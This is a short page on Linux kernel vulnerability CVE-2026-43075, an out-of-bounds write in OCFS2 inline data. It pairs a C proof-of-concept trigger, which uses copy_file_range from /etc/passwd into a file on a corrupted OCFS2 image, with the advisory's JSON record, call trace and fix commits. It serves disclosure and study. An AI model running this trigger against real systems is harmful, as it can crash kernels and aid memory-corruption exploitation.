CVE-2026-43075

/* * PoC for CVE-2026-43075 (Conceptual Trigger) * Requires a corrupted OCFS2 filesystem image mounted on /mnt/test. * The corruption involves setting id_count > max inline size on an inode. */ #include <fcntl.h> #include <unistd.h> #include <sys/sendfile.h> #include <stdio.h> #include <stdlib.h> #include <errno.h> int main() { int src_fd, dst_fd; // Open a source file to copy data from src_fd = open("/etc/passwd", O_RDONLY); if (src_fd < 0) { perror("open src"); return 1; } // Open the target file on the corrupted OCFS2 filesystem // This file should have a corrupted inode triggering the inline write path dst_fd = open("/mnt/test/corrupted_file", O_WRONLY | O_CREAT, 0644); if (dst_fd < 0) { perror("open dst"); close(src_fd); return 1; } // Trigger copy_file_range which leads to splice and ocfs2_write_end_inline off_t offset = 0; ssize_t ret = copy_file_range(src_fd, NULL, dst_fd, &offset, 4096, 0); if (ret < 0) { perror("copy_file_range"); // Expected to crash here or trigger KASAN } else { printf("Copied %zd bytes. If kernel didn't panic, the image might not be corrupted correctly.\n", ret); } close(src_fd); close(dst_fd); return 0; }

{"cve": {"id": "CVE-2026-43075", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T10:16:20.463", "lastModified": "2026-05-08T13:16:38.160", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nocfs2: fix out-of-bounds write in ocfs2_write_end_inline\n\nKASAN reports a use-after-free write of 4086 bytes in\nocfs2_write_end_inline, called from ocfs2_write_end_nolock during a\ncopy_file_range splice fallback on a corrupted ocfs2 filesystem mounted on\na loop device. The actual bug is an out-of-bounds write past the inode\nblock buffer, not a true use-after-free. The write overflows into an\nadjacent freed page, which KASAN reports as UAF.\n\nThe root cause is that ocfs2_try_to_write_inline_data trusts the on-disk\nid_count field to determine whether a write fits in inline data. On a\ncorrupted filesystem, id_count can exceed the physical maximum inline data\ncapacity, causing writes to overflow the inode block buffer.\n\nCall trace (crash path):\n\n vfs_copy_file_range (fs/read_write.c:1634)\n do_splice_direct\n splice_direct_to_actor\n iter_file_splice_write\n ocfs2_file_write_iter\n generic_perform_write\n ocfs2_write_end\n ocfs2_write_end_nolock (fs/ocfs2/aops.c:1949)\n ocfs2_write_end_inline (fs/ocfs2/aops.c:1915)\n memcpy_from_folio <-- KASAN: write OOB\n\nSo add id_count upper bound check in ocfs2_validate_inode_block() to\nalongside the existing i_size check to fix it."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "references": [{"url": "https://git.kernel.org/stable/c/0c1af902223b6fcedb60904ca0b551254686c7b9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/69d3c69ade1e4285ab4ca48fe7acee0767e65604", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/7bc5da4842bed3252d26e742213741a4d0ac1b14", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/947f953978b0d9463498d548d0f054f5a75be2e9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/e2c9dc6b6e96f3585f2a1062ca3374a52db0938f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}]}}